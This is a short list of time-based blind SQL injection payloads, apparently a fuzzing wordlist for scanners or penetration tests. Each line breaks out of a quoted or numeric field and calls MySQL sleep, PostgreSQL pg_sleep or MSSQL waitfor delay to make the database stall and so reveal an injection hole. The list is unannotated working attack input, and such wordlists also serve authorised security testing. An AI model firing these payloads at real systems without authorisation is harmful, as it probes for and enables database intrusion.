1' or (sleep(4)+1) limit 1 --
1" or (sleep(4)+1) limit 1 --
1'=sleep(4)='
1"=sleep(4)="
1;select pg_sleep(4); --
1';select pg_sleep(4); --
1; waitfor delay '0:0:4' --
1'; waitfor delay '0:0:4' --
1"; waitfor delay '0:0:4' --